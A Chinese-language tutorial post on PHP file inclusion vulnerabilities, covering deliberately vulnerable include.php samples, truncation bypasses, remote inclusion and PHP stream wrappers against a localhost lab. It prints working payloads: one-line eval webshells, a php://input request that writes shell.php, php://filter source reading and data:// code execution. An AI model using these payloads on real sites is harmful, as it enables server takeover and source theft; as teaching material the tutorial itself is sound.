31-WEB漏洞-文件操作之文件包含漏洞全解

31-WEB漏洞-文件操作之文件包含漏洞全解

  • 一、本地包含
    • 1.1、无限制包含漏洞文件
    • 1.2、有限制包含漏洞文件
      • 1.2.1、绕过方法
        • 1.2.1.1、%00截断
        • 1.2.1.2、长度截断
  • 二、远程包含
    • 2.1、无限制包含漏洞文件
    • 2.2、有限制包含漏洞文件
  • 三、各种协议流提交流
    • 3.1、各协议的利用条件和方法
      • 3.1.1、php://input
      • 3.1.2、file://
      • 3.1.3、`http://`、`https://`
      • 3.1.4、`php://`
      • 3.1.5、php://filter参数详解
      • 3.1.6、`phar://`、`zip://`、`bzip2://`、`zlib://`
      • 3.1.7、`data://`
  • 四、 总结
  • 五、涉及资源

在这里插入图片描述

#文件包含漏洞

原理,检测,类型,利用,修复等

#文件包含各个脚本代码
ASP,PHP,JSP,ASPX等

<!-—#include file="1.asp " -->

<!--#include file="top.aspx"-->

<c:import url="http://lthief.one/1.jsp">

<jsp:include page="head .jsp" / >

<%@ include file="head.jsp" %>

<?php Include ( 'test.php ' ) ?>
  • 单纯访问phpinfo.txt文件

在这里插入图片描述

  • 文件包含访问phpinfo.txt文件

在这里插入图片描述

一、本地包含

1.1、无限制包含漏洞文件

  • include.php:
<?php

$filename=$_GET['file'];
include ( $filename);

?>

在这里插入图片描述

1.2、有限制包含漏洞文件

  • include1.php:
<?php


$filename=$_GET['file'];
include ( $filename.".html" );

?>

在这里插入图片描述

  • 传入flag.txt文件参数(执行失败,因为在当前目录不存在flag.txt.html文件)

1.2.1、绕过方法

1.2.1.1、%00截断
  • 条件:

    • magic_quotes_gpc=off
    • php版本<5.3.4
  • 原理:

    • 00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。
      在这里插入图片描述
      在这里插入图片描述
  • 这里不知道为啥不能截断,所以放弃了
    在这里插入图片描述

1.2.1.2、长度截断
  • 原理(垃圾数据溢出)

  • 超过文件命名256位,后面的HTML就没有被识别,而flag.txt././被当成flag.txt执行
    在这里插入图片描述
    在这里插入图片描述

  • 这里也不行了

二、远程包含

  • 条件:
    在这里插入图片描述

2.1、无限制包含漏洞文件

  • include.php:
<?php

$filename=$_GET['file'];
include ( $filename);

?>

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 包含一句话木马:
<?php eval($_POST['cmd'])?>

在这里插入图片描述

在这里插入图片描述

  • 也可以使用菜刀进行连接:
    在这里插入图片描述

2.2、有限制包含漏洞文件

  • include1.php:
<?php

$filename=$_GET['file'];
include ( $filename.".html" );

?>

在这里插入图片描述

  • ?号:
    在这里插入图片描述

  • %20号:
    在这里插入图片描述

  • %23号:
    在这里插入图片描述

  • 使用一句话木马:
    在这里插入图片描述
    在这里插入图片描述

三、各种协议流提交流

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
  • php.ini参数设置
    • php.ini里有两个重要的参数allow_url_fopenallow_url_include
    • allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
    • allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

3.1、各协议的利用条件和方法

在这里插入图片描述

3.1.1、php://input

  • php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input同时post想设置的文件内容,php执行时会将post内容当作文件内容。
  • :当enctype=”multipart/form-data”时,php://input是无效的。

3.1.2、file://

  • 用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
  • file://[文件的绝对路径和文件名]
    • http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
  • [文件的相对路径和文件名]
    • http://127.0.0.1/include.php?file=./phpinfo.txt

3.1.3、http://https://

  • URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
  • [http://网络路径和文件名]
    • http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

3.1.4、php://

  • php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码
    在这里插入图片描述

3.1.5、php://filter参数详解

在这里插入图片描述

  • 可用的过滤器列表(4类):
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • 读取文件源码用法:
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
  • 执行php代码用法:
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.1.6、phar://zip://bzip2://zlib://

  • 用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]#编码为%23)
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
 
2、compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
 
3、compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?file=compress.zlib://./file.jpg4、phar://

3.1.7、data://

  • 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

四、 总结

  • 伪协议常常用于文件包含漏洞之中。
  • 在php中能够造成文件包含的函数有includerequireinclude_oncerequire_oncehighlight_filehow_sourcefile_get_contentsfopenfilereadfile
    • include函数:可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。当第二次遇到相同文件时,PHP还是会重新解释一次。
    • require函数:一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件,包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率,当它在同一个网页中解释过一次后,第二次便不会解释。
    • include_oncerequire_once函数:分别与require / include作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。
    • hightfile函数:highlight_file(filename,return) —— filename:必需。要进行高亮处理的 PHP 文件的路径。return:可选。如果设置 true,则本函数返回高亮处理的代码。该函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本。
    • show_source函数:该函数是highlight_file函数的别名。
    • file_get_content函数:把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
    • file() 函数:把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。

五、涉及资源

  • https://www.ichunqiu.com/battalion?t=1&r=0
  • http://4.chinalover.sinaapp.com/web7/index.php
  • https://www.cnblogs.com/endust/p/11804767.html #php伪协议
  • https://pan.baidu.com/s/1x_mwVE-xxmoKAvDJ8mRsw 提取码:xiao

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/214194.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

mysql的几种索引

mysql可以在表的一列、或者多列上创建索引&#xff0c;索引的类型可以选择&#xff0c;如下&#xff1a; 普通索引&#xff08;KEY&#xff09; 普通索引可以提高查询效率。在表的一列、或者多列上创建索引。 每个表可以创建多个普通索引。 例如&#xff0c;下面示例&#…

计算机网络TCP篇②

一、TCP 重传、滑动窗口、流量控制、拥塞控制 1.1、重传机制 在 TCP 中&#xff0c;当发送端的数据达到接受主机时&#xff0c;接收端主机会返回一个确认应答消息&#xff0c;表示已收到消息。但是在复杂的网络中&#xff0c;并一定能顺利正常的进行数据传输&#xff0c;&…

固态硬盘与机械硬盘的区别

盘、磁道、扇区、柱面&#xff0c;这些都是机械硬盘的概念&#xff0c;固态硬盘没有这些东西&#xff0c;固态硬盘和机械硬盘虽然都叫硬盘&#xff0c;但是在原理层面有着本质上的区别。 速印机&#xff08;理想、荣大等&#xff09;、复印机&#xff08;夏普、东芝、理光、佳能…

51爱心流水灯32灯炫酷代码

源代码摘自远眺883的文章&#xff0c;大佬是30个灯的&#xff0c;感兴趣的铁汁们可以去看看哦~&#xff08;已取得原作者的许可&#xff09;&#xff1a;基于STC89C51单片机设计的心形流水灯软件代码部分_单片机流水灯代码_远眺883的博客-CSDN博客 由于博主是个小菜鸡&#xff…

perl脚本批量处理代码中的中文注释乱码的问题

代码中统一使用utf-8编码是最好的&#xff0c;但是有一些多人合作的项目或者一些历史遗留代码&#xff0c;常见一些中文注释乱码的问题。这里以一个开源项目evpp为例子 evpp。以项目中的一个commit id为例&#xff1a; 477033f938fd47dfecde43c82257cd286d9fa38e &#xff0c; …

种群和种群之间连接的设计

我们知道神经元的创建方式是以种群为基础的&#xff0c;一个种群内的所有神经元的参数都一样&#xff0c;而种群与种群之间的连接也是随机概率的。所以我们首先应该设计一个Population的结构&#xff0c;考虑其需要的元素有神经元gid集合和种群好&#xff0c;所设计数据结构如下…

Python必备工具shelve与dbm全面解析!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 当涉及存储大量数据并且需要高效访问时&#xff0c;Python开发人员常常寻找适当的工具。shelve和dbm模块是Python中用于本地持久化存储数据的两个强大工具。它们允许开发人员以键值对的形式存储数据&#xff0c;…

【开源】基于JAVA的医院门诊预约挂号系统

项目编号&#xff1a; S 033 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S033&#xff0c;文末获取源码。} 项目编号&#xff1a;S033&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 功能性需求2.1.1 数据中心模块2.1.2…

Web前端JS如何控制 Video/Audio 视音频声道(左右声道|多声道)、视音频轨道、音频流数据

写在前面&#xff1a; 接上篇博文&#xff1a;Web前端JS如何获取 Video/Audio 视音频声道(左右声道|多声道)、视音频轨道、音频流数据 讲解了如何根据视频链接地址&#xff0c;实现在播放时实时的显示该视频的音频轨道情况&#xff0c;并实时的将各音频轨道数据以可视化&#x…

使用OpenMVS重建模型

1、数据格式转换 首先将生成的稠密点云以及图片信息转换成openmvs支持的.mvs文件。在openmvs_sample中的bin文件内打开终端 作者&#xff1a;舞曲的小水瓶 https://www.bilibili.com/read/cv25019877/ 出处&#xff1a;bilibili interfaceCOLMAP.exe -i D:\desktop\test\toy\…

28.线段树与树状数组基础

一、线段树 1.区间问题 线段树是一种在算法竞赛中常用来维护区间的数据结构。它思想非常简单&#xff0c;就是借助二叉树的结构进行分治&#xff0c;但它的功能却非常强大&#xff0c;因此在很多类型的题目中都有它的变种&#xff0c;很多题目都需要以线段树为基础进行发展。…

【RotorS仿真系列】Ardrone模型介绍

ardrone是rotors仿真框架提供的一款机型&#xff0c;因为该机型与我们实际使用的机型参数相近&#xff0c;所以这里对它的参数做特别整理和记录。 一、模型参数总结 ardrone的gazebo模型如下图所示&#xff1a; 根据ardrone.yaml&#xff0c;其关键参数如下所示&#xff1a…

基于YOLOv7算法的的高精度实时通用目标检测识别系统(PyTorch+Pyside6+YOLOv7)

摘要&#xff1a;基于YOLOv7算法的高精度实时检测识别系统可用于日常生活中检测与定位多种目标&#xff0c;此系统可完成对输入图片、视频、文件夹以及摄像头方式的目标检测与识别&#xff0c;同时本系统还支持检测结果可视化与导出。本系统采用YOLOv7目标检测算法来训练数据集…

Python继承的设计及演化

Python中的继承 文章目录 Python中的继承概念明确MRO深度优先算法&#xff08;Python2.2之前及Python2.2的经典类中使用&#xff09;优化版的深度优先算法&#xff08;只在Python2.2版本的新式类中使用&#xff09;广度优先算法&#xff08;Python任何版本都从未使用过&#xf…

Difference between getc(), getchar(), and gets()

getc(): 从输入中只能读单个字符 getchar()&#xff1a;从标准输入流中输入都单个字符。 两者基本等同&#xff0c;唯一不一样的是getc()是任何输入流&#xff0c;而getchar()是标准输入流。 gets:可以读入含有空格的字符串 // Example for getc() in C #include <stdio.h…

【数电笔记】06-码制

目录 说明&#xff1a; 二进制代码 1. 二 - 十进制码 2. 常用二 - 十进制代码表 2.1 例题 可靠性代码 1. 格雷码 2. 奇偶校验码 3. 8421奇偶校验码表 说明&#xff1a; 笔记配套视频来源&#xff1a;B站&#xff1b;本系列笔记并未记录所有章节&#xff0c;只对个人认…

W2311294-万宾科技可燃气体监测仪怎么进行数据监测

万宾科技可燃气体监测仪怎么进行数据监测 燃气是现代城市之中重要的能源&#xff0c;它已经渗透到城市生活的方方面面&#xff0c;对燃气管网的管理也在考验着政府人员的工作能力。燃气管网的安全运行和城市的安全和人民的生活直接挂钩。为了及时掌握燃气管网的运行状态&#x…

UCore-OS实验Lab0

实验内容&#xff1a;搭建ucore-os的实验环境 实验准备内容&#xff1a;vmware虚拟机&#xff0c;ubuntu22.04镜像&#xff0c;qemu7.0.0源码 ucore代码地址 GitHub - chyyuu/os_kernel_lab at x86-32 实验步骤&#xff1a; 在vmware中安装ubuntu&#xff0c;因为我个人喜欢…

智能优化算法应用:基于蝠鲼觅食算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于蝠鲼觅食算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于蝠鲼觅食算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.蝠鲼觅食算法4.实验参数设定5.算法结果6.参考…

Linux系统中进程间通信(Inter-Process Communication, IPC)

文章目录 进程间通信介绍进程间通信目的进程间通信发展 管道什么是管道 匿名管道用fork来共享管道原理站在文件描述符角度-深度理解管道站在内核角度-管道本质管道读写规则管道特点 命名管道创建一个命名管道匿名管道与命名管道的区别命名管道的打开规则 命名管道的删除用命名管…